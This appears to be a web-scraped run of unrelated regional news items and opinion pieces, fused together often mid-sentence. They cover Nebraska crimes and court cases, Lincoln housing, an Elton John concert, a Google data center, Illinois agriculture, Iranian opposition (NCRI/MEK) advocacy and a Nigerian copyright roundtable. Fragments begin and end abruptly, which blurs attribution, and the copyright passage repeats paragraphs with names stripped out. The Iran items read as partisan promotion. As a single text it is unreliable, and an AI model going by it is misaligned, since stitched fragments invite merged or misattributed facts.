But, assuming all legitimate health and safety regulations are met, this is a matter of choice.America's enemies have a very clear definition of victory. For them, victory comes when we give up the fight before they do. We know this because they have told us so. The 9/11 mastermind Khalid Sheikh Mohammed told his CIA interrogator "Americans don't realize we do not need to defeat you militarily; we only need to fight long enough for you to defeat yourself by quitting."

That is how the terrorists see Obama's withdrawal from Iraq in 2011 and Trump's planned withdrawals from Syria and Afghanistan: America defeating itself by quitting.

It is understandable that, after 18 years, Americans want the war to end. But what we want is irrelevant. We don't get to decide unilaterally that the war is over. The enemy gets a vote. Just because we have tired of fighting doesn't mean that they have.

Here is the hard truth: We don't get to choose when the war ends, but we do get to choose where it is fought. It can either be fought over there, in the deserts of Syria and the mountains of Afghanistan, or it can be fought over here -- on American streets and in American cities, as it was on Sept. 11, 2001. It's up to us.A recent Local View by members of Renters Together ("Affordable housing needed, not study," Jan. 16) was a passionate appeal for the city to do more to address the need for affordable housing and to strengthen the protections for renters. The groups ideas are a welcome addition to the work already in progress.

We should first put our progress in better perspective. Lincoln today is one of the most affordable cities in the nation both for homeowners and for renters. Any way you look at the problem, Lincoln compares extraordinary well to other cities. Affordable housing is a growing challenge across the country primarily because of federal policies causing income growth to fall behind housing costs.

Even so, statistics show that owning a home or renting in Lincoln continues to be remarkably affordable compared to other cities. Our work is to help keep it that way. The city serves an important role coordinating community challenges like these.She said a lot of people suffered serious exploitation at Sanchez Delgado's hands.

Ajin's attorney, Alberto Silva, said Ajin will be deported and separated from her children. She's ultimately going to have her life changed forever, he said.

"This is a conspiracy that was in this community," he said. "But this is something that goes on throughout the United States and here in Nebraska. And her part in this was minuscule compared to all the co-conspirators that were a part of this."

Silva said there was no evidence Ajin benefited from the conspiracy other than from the income her husband, who she helped get a job, made to support her and her children.

Ajin just knew about it, through the community, and took part in it by leading people into it, he said.

"Because of our broken immigration system, this is an underground or an alternative way of people coming into the United States and working here. And it's a system that's been put in place way before her," the attorney said.

Silva said Ajin, who's been in jail since Aug. 8, already has been adequately punished.

In the end, Chief U.S. District Judge John Gerrard agreed with him and the federal probation officer, who made the same recommendation.Sexual assault charges against a 30-year-old Lincoln man standing trial this week were dismissed after his accuser failed to show up to testify.

Joshua Ruff had faced the possibility of up to 21 years in prison if convicted of the felony and misdemeanor charges.

"My client has maintained his innocence the entire time," Ruff's attorney, Nick Glasz, said after court Tuesday morning. "It was a tough case for the state."

Lincoln police arrested Ruff on May 3 after a 19-year-old woman, who knows him, reported he tried to sexually assault her.

Investigators said he messaged her on a social media app the day before and asked her if she wanted to hang out.

They ate at a yogurt shop, then went to his apartment, where they watched TV, investigators said in an affidavit for his arrest.

That's when he grabbed the woman's leg, tried kissing her and exposed himself, she told investigators.

She said Ruff continued making sexual advances after she told him they were just friends, the affidavit said.

Eventually, she talked Ruff into taking her home, where she called police, the affidavit said.A Nebraska prisoner choked, threatened and raped another inmate at the Nebraska State Penitentiary in 2016, prosecutors allege in court documents.

The Lancaster County Attorney's Office has charged DeVaunte J. Taylor, 35, with first-degree, forcible sexual assault and terroristic threats in the 2016 case.

On July 26, 2016, an inmate told a lieutenant that Taylor assaulted him the day before, according to a prison investigator's report.

Taylor, the other inmate said, grabbed him as he was getting off of his bunk bed and threatened to kill him if he didn't follow orders.

Then Taylor told the inmate to undress, and even as Taylor forced himself on the man, the inmate tried to evade him, the report said.

But Taylor took him to the floor, began choking him and again threatened to kill him, he told the lieutenant.

That's when he stopped resisting and Taylor raped him, according to the investigator.

The inmate was taken to Bryan West Campus, where a sexual assault examination found evidence consistent with his allegations, the report said.Tourist arrivals up 25pc in January

Foreign tourist arrivals to Nepal rose 25.4 percent year-on-year in January with the strongest growths recorded from India, China, the US, Thailand and Japan.But, in deals with the state, Clark pleaded no contest to first-degree assault and use of a deadly weapon to commit a felony. Aguirre pleaded guilty to first-degree assault and attempted kidnapping.

Madlock originally was reported missing. Then in December 2017, a relative told police Aguirre and Clark had been looking for Madlock before he disappeared, even going so far as to offer a reward to anyone who knew where he was.

Police arrested Aguirre and Clark in January 2018 after learning they had found Madlock at a friends house in Lincoln on June 28, 2017, and severely assaulted him.

He died when they were moving him.

Attorney Robert Kortus, of the Nebraska Commission on Public Advocacy, argued that Aguirre deserved less time than Clark because they had different motivations.

For Aguirre, it began as a fistfight, a sudden quarrel, Kortus said.

"He reacted and he reacted poorly. Very, very poorly," he said of Aguirre.

But, Kortus said, Clark had been the one calling the shots.

In October, Lipovsky said that if it wasn't for Clarks business trafficking marijuana from his farm in California, "we would not be here."Lawmakers advanced a bill adding early childhood education and day care centers to the list of projects available for economic development grants or loans to second-round debate on Wednesday.

The bill (LB160) by Sen. Dan Quick of Grand Island would allow cities and towns to provide a portion of sales or property tax dollars to child care businesses under the Local Option Municipal Economic Development.

Quick said the bill would help Nebraska cities and towns address a lack of those services, which would help bring and retain new businesses and employees to the state.

A handful of senators expressed concern that Quick's proposal would limit the funds to programs "of known quality," thereby preventing in-home day care providers from seeking funds to expand their businesses.

As written, LB160 defined quality as "meeting or exceeding a step three quality scale rating based on quality rating criteria as provided under the Step Up to Quality Child Care Act," passed by the Legislature and maintained by the state.

Offering to show her colleagues the Step Up to Quality Child Care Act, Sen. Machaela Cavanaugh of Omaha said it provided parents valuable information about what to look for in seeking education and care for their children.Then he delivered a powerful version of the three-part song, joined only by animated percussionist Roy Cooper.

From 1975s Captain Fantastic and the Brown Dirt Cowboy, which he said was among his favorite albums, came a beautiful, touching version of Someone Saved My Life Tonight, which John said was its most personal song.

There were, of course, other touching ballads -- Candle in the Wind, accompanied by film clips of Marilyn Monroe, Daniel, and Believe, which came with a socio-political message -- Were shouting at each other from two side of the river and its not good, John said. We need to show each other a little more kindness.

And there was some rock n roll, which began with the boogie of Sad Songs (Say So Much), after which John talked about his decision to end his touring career to spend more time with his family, then paid tribute to his fans, 15,000 or so of whom packed the CHI Health Center.

You have bought the 45s, the albums, the 8-tracks, the cassettes -- I hate cassettes -- the CDs, the DVDs, and you always bought tickets to the show, he said. I want to thank you for the love, the loyalty, the generosity and the kindness youve shown me all that time. Ill never forget you.Google on Wednesday announced plans to build a data center in the Omaha area.

The company provided few details, with CEO Sundar Pichai saying in a blog post that it plans to invest $13 billion in new data centers and offices across the U.S. this year.

It specifically mentions a new data center in Nebraska, and a map shows its location in Omaha.

State and local officials said little about the announcement, with both the governor's office and the Greater Omaha Chamber of Commerce referring questions about the announcement to Google.

In a news release, Gov. Pete Ricketts said the state has "built a reputation for itself as the Silicon Prairie and a hub for tech companies, startups and entrepreneurs.

Todays announcement from Google underscores that reputation and will bring great opportunities for Nebraskans."

Though Google did not say where in the Omaha area it plans to build, the Omaha World-Herald reported in December that a large data center project, dubbed "Project Wizard," was coming to a 275-acre site northwest of Highway 50 and Schram Road in Sarpy County.MATTOON -- Student volunteers in Mattoon High School's BIONIC program have been providing mentors for freshmen, transfer students, and other classmates in need for several years now.

The Mattoon in Motion Youth Development Committee hopes to bring BIONIC, Believe It Or Not I Care," to Mattoon Middle School next fall. MHS sophomore Anna Morton, a member of the Youth Council subcommittee, said eighth-grade volunteers with BIONIC could provide positive role models for sixth-graders making the big transition to middle school.

Participants in the Mattoon in Motion community planning effort heard about BIONIC and other project updates during a meeting Thursday evening at Burgess-Osborne Memorial Auditorium.

Mattoon Chamber of Commerce Executive Director Ed Dowd said he and others with the economic development committee toured the Central Nine Career Center in Greenwood, Ind., last year to learn about its high school career and technical education programs. He said the committee wants to help the Mattoon school district expand its vocational programs.

Member Rex Barnes said the economic development group also helped bring Peace Corps Fellow intern Carlos Ortega to Mattoon last year. He said Ortega has handled detail-oriented work for various projects, such as helping with the application for Google.org Impact Challenge grant funding to develop an entrepreneur support center at the Cross County Mall.

Barnes said some of the committee's long-term goals include helping establish a full-time economic development position in Mattoon and supporting the development of a local workforce with high-tech skills.

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"Companies will locate where they have the skilled workers," Barnes said.

City Tourism & Arts Director Angelia Burgett, who advises the tourism committee, said her office is preparing to launch a new Mattoon website that will be focused on community activities and be separate from the city's website.

Parks and recreation committee member Shonn Hild said they assisted with getting public input for the city's new Mattoon Bicycle Plan and have set a goal of reviving the Mattoon Tree Commission.

Coles County Habitat for Humanity Director Melissa McDaniel, who is a member of the housing committee, said they developed an inventory of housing rehabilitation services that are available for those in financial need. She said they also developed a list of houses in need of paint and are coordinating having them painted by volunteers this spring.

The Mattoon in Motion community planning effort was initiated in fall 2017 by the Mattoon Chamber and the Southeastern Illinois Community Foundation. They obtained assistance from the MAPPING community planning program offered by the Illinois Institute for Rural Affairs at Western Illinois University.

A cross-section of Mattoon residents was recruited to take part in a series of community planning sessions. They subsequently narrowed down their ideas to six long-term goal areas -- workforce training, economic development, tourism promotion, youth development, parks and recreation upgrades, and housing improvements.

More information about Mattoon in Motion and volunteering with this effort is available by calling the Chamber at 217-235-5661 or visiting https://mattooninmotion.wordpress.com/.

Contact Rob Stroud at (217) 238-6861. Follow him on Twitter: @TheRobStroud

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Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy.CHARLESTON -- A state inspection of a rural Coles County salvage yard found about 200 burned tires and several thousand more disposed of or stored improperly.

That's according to a lawsuit the Illinois Attorney General's Office has filed against the owners of Coles County Auto Salvage Yard, which is also accused of business record violations.

The lawsuit also accuses owners Richard and Monika Purdy of never registering the salvage yard to do business in the state.

The legal action is the result of an Illinois Environmental Protection Agency inspection of the salvage yard on Feb. 23, 2017, following a citizen complaint about tire burning there, according to the lawsuit.

The salvage yard is located on Coles County Road 1470N, just west of the Oakland-Ashmore Road about four miles south of Oakland.

A phone number for the salvage yard was no longer in service and attempts to find contact information for the Purdys were unsuccessful. There did not appear to be anyone at the business site Wednesday afternoon.

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The lawsuit's allegations concerning the approximately 15,000 tires at the location include that some were overgrown with vegetation and contained standing water.

It says that was in addition to the burning, some of which took place near other combustible materials and without precautions to keep the fire from spreading.

The lawsuit also includes allegations that the tire burning resulted in air contamination and open dumping violations.

It also says that, during the same inspection, the IEPA discovered business violations including failing to notify the agency about the disposal activity and not keeping daily and annual tire disposal records.

A statement the Attorney General's Office released about the legal action said contact with the defendants resulted in an agreement last year to remove the tires.

However, the agency filed the lawsuit because not all issues have been resolved, it said.

The lawsuit asks for a court order to stop the collection and burning of tires and to remove and properly dispose of waste at the site. It also seeks an injunction to halt further violations and an unspecified amount of fines.

The lawsuit was filed in Coles County earlier this week and there are no hearing dates yet scheduled.

Contact Dave Fopay at (217) 238-6858. Follow him on Twitter: @FopayDave

Love 0 Funny 0 Wow 0 Sad 0 Angry 0URBANA -- Normally, at this time of year, the cattle industry focuses on information contained in the USDAs Jan. 1 estimates of the U.S. cattle herd. The Cattle Inventory report provides a wealth of information to market participants including estimates of the all cattle and calves inventory; both the beef and dairy cow inventories; and an estimate of the prior years calf crop, according to Purdue University agricultural economist James Mintert.

This year, however, USDA extended the data collection period because of the government shutdown, Mintern says. The inventory estimates will be provided as of Jan. 31 instead of Jan. 1, with the report scheduled for release on Feb. 28. As a result, were left to speculate regarding what information the report might contain, he adds.

U.S. cow-calf producers have been expanding the size of their herds since 2014, when the all cattle and calves inventory bottomed out at 88.5 million head. This time a year ago, the all cattle and calves inventory stood at 94.4 million head, nearly 7 percent larger than four years earlier, Mintert says.

So, what happened to the size of the herd in 2018? Did U.S. producers continue to increase their herds in 2018 or did expansion grind to a halt?

One of the best long-term indicators regarding the expansion or contraction of the cattle herd is the ratio of female slaughter (cows and heifers) to steer slaughter. During expansionary phases female slaughter declines relative to steer slaughter as producers hold back females to expand their herds, Mintert explains.

When expansion starts to slow or producers shift into herd liquidation, female slaughter increases relative to that of steers. Lets take a look at the recent data to see if it conforms to this pattern, he says.

In 2013, the most recent year of herd liquidation, female slaughter as a percent of steer slaughter was relatively high at 96 percent. When expansion got underway female slaughter began falling, declining to 89 percent in 2014. Female slaughter fell even more sharply the next two years as herd expansion accelerated.

For example, in 2015 the ratio was 82 percent and in 2016 the ratio was 80 percent. The first sign that the industrys expansion phase was slowing down appeared in 2017 when the ratio of females to steers in the slaughter mix rose to 86 percent, Mintert says.

What was the ratio in 2018? Based upon USDAs weekly slaughter estimates, female slaughter as a percentage of steer slaughter rose to about 92 percent during 2018. The implication is that expansion during 2018 did indeed come to a halt, but it does not look like the industry shifted into a liquidation phase. Instead, the odds appear to be quite high that the size of the nations cattle herd remained essentially unchanged during 2018, Mintert says.

What does that mean for future beef supplies and prices?

Commercial beef production in the U.S. during 2018 totaled 26.9 billion pounds, about 2.6 percent more than a year earlier. But per capita beef supplies at 57 pounds were virtually unchanged from 2017, largely because of a small improvement in beef exports combined with a modest decline in beef imports. Commercial beef production appears likely to rise in 2019, but improvements in foreign trade could offset the modest production increase once again, leaving domestic per capita supplies unchanged for the second year in a row, Mintert explains.

USDAs five-market average price for fed steers last year was about $117 per cwt. With little change in beef supplies expected this year, fed steer prices are likely to average near their year-ago level. Prices for 500-600 pound steers in Kentucky averaged about $154 per cwt. in 2018, up 3 percent compared to a year earlier when they averaged $149 per cwt. Prices in early 2019 started the year off weaker than 12 months earlier, averaging just $135 per cwt. during January.

Widespread losses by cattle feeders during the last half of 2018 weakened feeders demand for calves, as did severe winter weather in January, as they attempt to purchase calves and feeders that generate more attractive breakeven prices, Mintert says. Calf prices in Kentucky this upcoming year are expected to average below 2018s average, but the decline in the annual average is likely to be smaller than what took place in January. Look for Kentucky steer calves to average in the $140s during 2018, assuming no significant crop production problems that would push feed grain prices up substantially this summer and fall.

Love 0 Funny 0 Wow 0 Sad 0 Angry 0URBANA -- The Midwest Cover Crops Council (MCCC), in collaboration with University of Illinois Extension, will be holding its annual meeting in Springfield from Feb. 20-21. This is the first time Illinois will be the host state for the MCCC conference. The meeting will be held at the Northfield Inn Suites & Conference Center, located at 3280 Northfield Drive, Springfield.

The conference theme this year is, Cover Crops and Soil Health: The Practical Way Forward. Feb. 20 will consist of a working session to guide MCCC in developing meaningful outreach tools, including a listening session with Certified Crop Advisers (CCAs) to gauge usefulness of currently available cover crop resources and future resources. In addition, MCCC states, provinces, and partners will provide research and Extension updates related to cover crops. Feb. 21 will be the Grower Conference portion and will feature speakers on topics such as:

Practical Implementation of Cover Crops  Lee Briese, 2017 International Crop Adviser (CCA) of the Year

Building Your Soil Health System on Sound Principles  Barry Fisher, NRCS soil health specialist

Nutrient Reduction Regulations in Ohio  Sarah Noggle, Ohio State University Extension agriculture and natural resources educator

The Effect of N Management and Cover Crops on Tile Nitrate Loads in Central Illinois  Lowell Gentry, U of I principal research specialist in agriculture

Soil Health: Whats Old, Whats New, and How does it Relate to Cover Cropping?  Andrew Margenot, U of I assistant professor of soil science

Effects of Cover Crops on Weed Control in Soybeans  Brent Sunderlage, Southern Illinois University weed science researcher

Farmer and CCA Panel Discussion  moderated by Joel Gruver, Western Illinois University associate professor of soil Science and sustainable ag

The MCCC Conference will provide an excellent opportunity for Illinois farmers, agriculture professionals, CCAs, and the public to engage with cover crop experts from around the Midwest. From farmers who have never tried cover crops to those who have years of experience, there will be something to learn for all, says Jennifer Woodyard, U of I Extension watershed outreach associate.

Registration fees are $60 for the Grower Conference on Feb. 21 only, or $110 for both Feb. 20 and 21. Fees are discounted for CCAS; they may register for the Grower Conference at a rate of $30, and attend the working session and updates on February 20 for free. Continuing Education Units (CEUs) will be available both days of the conference for CCAs. Register online at http://mccc.msu.edu/about/meetings/.

Sponsors and vendors are still being accepted. There are four sponsorship levels available, ranging from $1,500 to $200. To sponsor the conference, go to http://mccc.msu.edu/about/meetings/.

Contact Jennifer Woodyard at woodyar2@illinois.edu or 217-347-7773, or Anna Morrow (MCCC Program Manager) at annamorrow@purdue.edu or 317-392-6417, for more information.

Love 0 Funny 0 Wow 0 Sad 0 Angry 0Security along border to be stepped up during Indian polls

Indian security officials have warned that there could be flow of counterfeit currency across the border and Indian criminals could make Nepal as their hideout during the upcoming Lok Sabha elections in Bihar, India.Introduction



In just 50 years, almost a million Jews, whose communities stretch back up to 3,000 years, have been 'ethnically cleansed' from 10 Arab countries. These refugees outnumber the Palestinian refugees two to one, but their narrative has all but been ignored. Unlike Palestinian refugees, they fled not war, but systematic persecution. Seen in this light, Israel, where some 50 percent of the Jewish population descend from these refugees and are now full citizens, is the legitimate expression of the self-determination of an oppressed indigenous, Middle Eastern people.

This website is dedicated to preserving the memory of the near-extinct Jewish communities, which can never return to what and where they once were - even if they wanted to. It will attempt to pass on the stories of the Jewish refugees and their current struggle for recognition and restitution. Awareness of the injustice done to these Jews can only advance the cause of peace and reconciliation.

(Iran: once an ally of Israel, the Islamic Republic of Iran is now an implacable enemy and numbers of Iranian Jews have fallen drastically from 80,000 to 20,000 since the 1979 Islamic revolution. Their plight - and that of all other communities threatened by Islamism - does therefore fall within the scope of this blog.)According to Soona Samsami, Representative for the NCRI-US, while the Iranian regime attempts to display itself in a position of strength on the 40th Anniversary of its rise to power, in reality it is at its weakest point in history.

40 years after the fall of monarchic dictatorship, the NCRI, the regimes main opposition, believes that the prospects of change are shining brighter than ever before. Samsami examined the current situation, including major crises that the regime is facing, and struck a note of optimism about prospects for democratic change in Iran.

The Iranian people are calling for the establishment of a republic, based on democracy and separation of religion and state, she said. In contrast to the regimes attempts to paint a picture of strength on its 40th year in power, in reality it is at its weakest point in history. Corruption, embezzlement by officials, poverty-stricken Iranians, the national currencys spiraling value, and the unprecedented decline in citizens purchasing power were some of the indicators she cited of a failing theocracy.

On February 11, 1979, the Iranian people toppled the Shahs dictatorship known for his notorious secret police, SAVAK, the infamous Evin prison, and the lavish spending of his corrupt regime, said Samsami. Shortly after, however, Ruhollah Khomeini denied the Iranian people the democratic and representative government that they so desperately sought, and imposed a religious dictatorship.

A video compilation of scenes of massive protests in 2018 and 2019, which encompassed more than 160 cities and towns in all of 31 provinces in Iran, was shown to the panel.

Former State Department official and ambassador to Bahrain, Adam Ereli , stated, Looking back on forty years of revolution: Yes, the mullahs are still there, but so is the MEK, said the ambassador, referring to the main opposition Mujahedin-e Khalq (MEK).

He added that the fact that the regimes senior officials, including Supreme Leader Khamenei, IRGC commanders, and Iranian President Rouhani, continue to slander the MEK validates and substantiates the impact that this organization has had and continues to have. Ereli said, From the American side, I would simply argue that youve got a very capable opposition, and, the best thing the U.S. can do is to just stop appeasing the current regime.

Ali Safavi of the NCRIs Foreign Affairs Committee described as the ineffectual Western policy over the past four decades, saying, Everything [in the Wests policy] begins with the regime and ends with it. Lost in this approach have been the Iranian people. Western outlook amounted to a policy of appeasement that has actually helped prolong the mullahs rule, he added. The right policy is to recognize the rights of the Iranian people and the organized opposition to overthrow this regime. Unlike Syria and other countries suffering from dictatorships, Iran has a historic, real and viable alternative, Safavi said.

On at least four occasions in 2018, Khamenei personally and publicly named the MEK for organizing large-scale protests. Rouhani has also blamed the MEK for organizing public protests. He also appealed to the French president to curtail their activities in Paris.

The regime has launched an extensive propaganda campaign against the MEK. Movies, drama series, and documentaries have been produced by the state to demonize the MEKs image. In 2018 alone, 18 major books were published by the regime against the MEK, bringing the total over the past few years to 519, said Samsami.

The NCRI, formed in Tehran in 1981, can be described as a parliament-in-exile. It boasts hundreds of democracy advocates as members, half of whom are women, including athletes, politicians, musicians, economists and well-known personalities. The MEK is part of the broader coalition of NCRI.

Samsami explains, The NCRIs President-elect, Maryam Rajavi, represents the demands and aspirations of the Iranian people and protestors in recent years. Units of Resistance posted her pictures in major highways and street corners. She adds, Mrs. Rajavis 10-point plan for Irans future includes policy formulations like: separation of church and state; abolition of the death penalty; universal suffrage and elections; gender equality; peace and co-existence with neighbors; and freedom of the press and speech.

According to Samsami, Recognition of the NCRI as the sole democratic alternative to the terrorist religious dictatorship in Iran is the imperative to rectifying and ending the disastrous policy of appeasement over the past four decades.The Iranians urged the international community to recognise the right of the Iranian people to overthrow the clerical regime ruling Iran and establishment of democracy.

A year of continual uprisings has brought the regime in power in Iran to the brink of collapse. Iranians are restless and angry at the entirety of the ruling system. Protests spanning 142 cities rocked Irans 31 provinces during 2018. Workers, farmers, teachers, pensioners, hard-hit business owners, bazar merchants, and of course students and women have taken to the streets calling for change.

Alarm at the protesters affiliation to Irans main organized resistance movement, the MEK/PMOI, the pivotal force of the political alternative for future Iran, the National Council of Resistance of Iran (NCRI), has permeated the regime.

The protests have shown continuity, expansiveness, growing solidarity, and are fueled by the crumbling economy, depleted from domestic corruption, and under pressure by international sanctions.

Simultaneously with the two day Foreign Ministers conference on the Middle East held in Warsaw, a few thousand Iranians gathered close to the National Stadium said it was time to put an end to four decades of political and social repression, massacres, plunder of Irans wealth by the regimes cronies, and misery and war forced upon the region by this regime.

Protesters called on the West to impose sanctions on the regime and include the Iranian regimes IRGC and MOIS and perpetrators of crimes against the Iranian people on the EU terrorist list.

They said it was time for European countries to align their voices with the voice of the Iranian people and resistance, and to end the nightmare of four decades of the Iranian regimes atrocities in Iran, the region, and the world.

A video message by Maryam Rajavi, President-elect of the National Council of Resistance of Iran, was broadcast to the demonstration. Madame Rajavi said that the Iranian peoples immediate demand from the world and their lawful expectation from the Warsaw Summit is for them to recognise the right of the Iranian peoples Resistance to overthrow the mullahs theocratic regime to achieve freedom.

The Iranian nation deserves this; they have proven it through long years of their quest for freedom and steadfast endurance in confronting one of the worlds most oppressive and ruthless dictatorships. That includes their protests and uprisings over the past year, Madame Rajavi added.

She formulated the Resistances demand: Respect our peoples struggle against religious oppression and gender discrimination. This would not be any favor or concession to our nation. Rather, it would only end the long-time abuse of their rights facilitated through the Wests policy of appeasement.

Renowned personalities no less than former New York city mayor Rudy Giuliani and Sid Ahmed Ghozali, former Algerian Prime Minister took to the stage.

Iran is the number one state sponsor of terrorism in the world. We should not be doing business with a regime that supports terror. The Warsaw Summit should be focused on how we change Iran. How do we change their behaviour against their people. said Mr. Giuliani. We believe the alternative to this regime is Madam Maryam Rajavi. We want that the people of Iran can have their country back. We want to see a democratic Iran. A non-monarchy, non-mullah dictatorship, he added.

Former Prime Minister Ghozali said: We want stability of the Middle East and all neighbouring countries. The main menace is coming from state terrorism by the Iranian regime, and we see that violence in countries like Iraq, Syria, and Yemen. This is why the sacrifice of the Iranian people is not only for freedom in the Middle East but for the whole world.

Marcin Swiecicki, a Member of Parliament from Poland former Mayor of Warsaw affirmed:

I am here to support the democratic opposition in Iran. Poland had to fight for its freedom, and the Iranian people are doing the same. Thats why we support the democratic opposition in Iran against a regime that is suppressing its people. We support Mrs Maryam Rajavi and her 10-point plan for equal rights for men and women, rights for minorities, religion and freedom of choice. I am certain that this fight for democracy and to abolish a regime that does not respect human rights will be a successful one.

Protesters condemned the terrorist plot of the mullahs regime against the largest opposition gathering in Paris on June 30, 2018, calling for the expulsion of agents of the Ministry of Intelligence and Security of the ruling regime from the United States of America and Europe. They formulated their demands:

 Recognise the inalienable right of the Iranian people and resistance to overthrow the religious fascism ruling Iran,

 Encourage the referral of the massacre of political prisoners in 1988 and the clerical regimes human rights record to the UN Security Council.

 Apply all necessary measures to expel Iranian regime forces and proxies from Syria, Iraq, Yemen, Lebanon, and Afghanistan.

 Dismiss the Iranian regime delegation from the United Nations

 Recognise the National Council of Resistance of Iran as the viable political alternative to this regime.

According to the demonstrators, for a sustainable democracy in Iran, the world must rely on the people of Iran and its resistance. Change in Iran is a necessity for peace and security in the region and the world.

The gathering was followed by a march around the National Stadium, with Iranian flags and banners waving all the way and slogans shouted by the crowd urging an end to appeasement of the mullahs regime.Irans President Hassan Rouhani told ambassadors and representatives of foreign countries in a meeting, If the U.S. repents and changes course we are ready to accept the repentance and change of even the U.S. that has done us injustice for years.

Last week, Rouhanis Minister of Intelligence, Mahmoud Alavi, claimed that the Iranian people wouldnt want their leaders to negotiate with the U.S. despite their current economic miseries. The people understand this and wont ever damage their national unity because of the impact of [our] enemies on their lives and wont have treat their officials unkindly and deny them the opportunity to solve the difficulties and wont put pressure on them to sit at a negotiation table with the U.S. out of weakness so that the people are comforted and their problems are solved.

However, ordinary Iranians cant afford to put meat on their families tables.

Regarding those who seek to solve economic difficulties through negotiations, Mohammadreza Naqdi, Cultural Deputy of the Islamic Revolutionary Guards Corps, criticizes them, saying, The Supreme Leader has said years ago that he isnt optimistic about negotiations with the U.S. and the countrys economic [difficulties] wont be solved through negotiation with the U.S. and today we have experienced that negotiations dont solve the difficulties of the nation.

Whatever the Iranian regime chooses to do  negotiate or not  will damage their credibility. The reason for this is that if the Iranian regime continues on its current path it will face further isolation and economic sanctions that will accelerate the demise of its economy. Yet, to even begin negotiating with the U.S., the regime must accept the plan of U.S Secretary of State Mike Pompeo, and abandon its nuclear, ballistic missiles, and regional hegemonic ambitions. Analysts believe that the essence of the Pompeos plan contradicts the fundamentalist philosophy of the Islamic Republic, and accepting it will lead to its eventual collapse.Last week, this Africa Correspondent was invited by the Nigerian Copyright Commission () to take part in a roundtable organised in collaboration with the Intellectual Property Law Association (IPLAN) and the Section on Business Law () of the Nigerian Bar Association. The roundtable discussion was on the recent decisions of Nigerias Supreme Court (SC) inandon the locus standi (right of action) of collective management organisations (CMOs) under the Nigerian. [Katposts on the decisions,and on the 1709 Blog,) The aim of the roundtable was to provide a platform for practitioners in the copyright space to analyse the effect of these decisions on copyright management and administration and also to help in policy formulation.



The programme started off with remarks by Director-General of the NCC, John Asein, the representative of IPLAN, Femi Olubanwo (whose firm, Banwo & Ighodalo hosted the roundtable) and the representative of the IP Committee of the SBL, Mena Ajakpovi, respectively. John Asien stated his expectations in terms of outcomes from the roundtable: circulate documents to the courts highlighting the practical implications of the SCs decisions in the two cases and provide accessible information to IP practitioners, copyright owners and other stakeholders in the copyright ecosystem on background issues that led to (and will drive) legislations and regulations in the copyright sector. According to Mr Asien, the roundtable will be a regular event for the Commission to leverage on the expertise of the IP Bar and other copyright experts to strengthen the Commissions work. To this end, the NCC proposes to hold more roundtable events on various copyright issues. The programme started off with remarks by Director-General of the NCC,, the representative of IPLAN,(whose firm, Banwo & Ighodalo hosted the roundtable) and the representative of the IP Committee of the SBL, Mena Ajakpovi, respectively. John Asien stated his expectations in terms of outcomes from the roundtable: circulate documents to the courts highlighting the practical implications of the SCs decisions in the two cases and provide accessible information to IP practitioners, copyright owners and other stakeholders in the copyright ecosystem on background issues that led to (and will drive) legislations and regulations in the copyright sector. According to Mr Asien, the roundtable will be a regular event for the Commission to leverage on the expertise of the IP Bar and other copyright experts to strengthen the Commissions work. To this end, the NCC proposes to hold more roundtable events on various copyright issues.



Upon dispensing with the formalities, the Lead Reviewer, Sandra Oyewole (Olajide Oyewole LLP) started off the roundtable. She observed that both cases came before the SC on interlocutory matters and so the SC remitted the cases back to the court of first instance for the commencement of trial. Between the trial court, Court of Appeal and SC, the matter took over 10 years (over 20 years in the case of Adeokin) before the Supreme Court delivered judgment in the respective cases. Given that alter-ego of Adeokin Records and the 2nd respondent in the matter is deceased and Compact Disc has since ceased operations in Nigeria, Sandra Oyewole questioned the practicalities of commencing trial in the matter. She expressed concern regarding the SCs decision in Compact Disc, which held that MCSN had a right of action given that the assignments of copyright to MCSN were made prior to the commencement of section 17 of the Copyright Act. [Section 17 stipulates that, in the absence of a licence from the NCC, an entity involved in the business of a CMO cannot institute an action for copyright infringement.] She re-echoed the opinion of this Africa Correspondent that the Supreme Court neglected the issue of when the cause of action arose as being germane to the question of whether or not section 17 applied to MCSN. She concluded by stating that the NCC should consider the possibility of further amending the Copyright Act within the Amendment Bill in ways that clarify its regulatory control over CMOs. In response, both John Asien and NCCs Obi Ezeilo (Director of Prosecution) noted that the Supreme Court and lawyers in both cases lumped owners, assignors and exclusive licensees together as if the expressions meant the same thing. Upon dispensing with the formalities, the Lead Reviewer,(Olajide Oyewole LLP) started off the roundtable. She observed that both cases came before the SC on interlocutory matters and so the SC remitted the cases back to the court of first instance for the commencement of trial. Between the trial court, Court of Appeal and SC, the matter took over 10 years (over 20 years in the case of Adeokin) before the Supreme Court delivered judgment in the respective cases. Given that alter-ego of Adeokin Records and the 2nd respondent in the matter is deceased and Compact Disc has since ceased operations in Nigeria, Sandra Oyewole questioned the practicalities of commencing trial in the matter. She expressed concern regarding the SCs decision in Compact Disc, which held that MCSN had a right of action given that the assignments of copyright to MCSN were made prior to the commencement of section 17 of the Copyright Act. [Section 17 stipulates that, in the absence of a licence from the NCC, an entity involved in the business of a CMO cannot institute an action for copyright infringement.] She re-echoed theof this Africa Correspondent that the Supreme Court neglected the issue of when the cause of action arose as being germane to the question of whether or not section 17 applied to MCSN. She concluded by stating that the NCC should consider the possibility of further amending the Copyright Act within the Amendment Bill in ways that clarify its regulatory control over CMOs. In response, both John Asien and NCCs Obi Ezeilo (Director of Prosecution) noted that the Supreme Court and lawyers in both cases lumped owners, assignors and exclusive licensees together as if the expressions meant the same thing.



Weighing in from the IP Unit of the University of Cape Town, Open AIR Researcher, Desmond Oriakhogba (via video conferencing) provided a brief summary of his analysis on the issue of locus standi of CMOs published in the Journal of IP Law and Practice (JIPLP): see here and here. He observed that despite the perceived shortcomings of the two decisions, the Supreme Court did not abrogate the powers of the NCC to regulate CMOs. Particularly, it is still a crime, by virtue of section 39 of the Copyright Act, to operate the business of a CMO without the requisite license from the NCC. He re-echoed Sandra Oyewoles suggestions while adding that the NCC should consider approving more CMOs especially in the music industry with its multiplicity of rights and that more should be done to apprise the courts of developments in copyright law and practice. Weighing in from the IP Unit of the University of Cape Town,Researcher,(via video conferencing) provided a brief summary of his analysis on the issue of locus standi of CMOs published in the Journal of IP Law and Practice (JIPLP): seeand. He observed that despite the perceived shortcomings of the two decisions, the Supreme Court did not abrogate the powers of the NCC to regulate CMOs. Particularly, it is still a crime, by virtue of section 39 of the Copyright Act, to operate the business of a CMO without the requisite license from the NCC. He re-echoed Sandra Oyewoles suggestions while adding that the NCC should consider approving more CMOs especially in the music industry with its multiplicity of rights and that more should be done to apprise the courts of developments in copyright law and 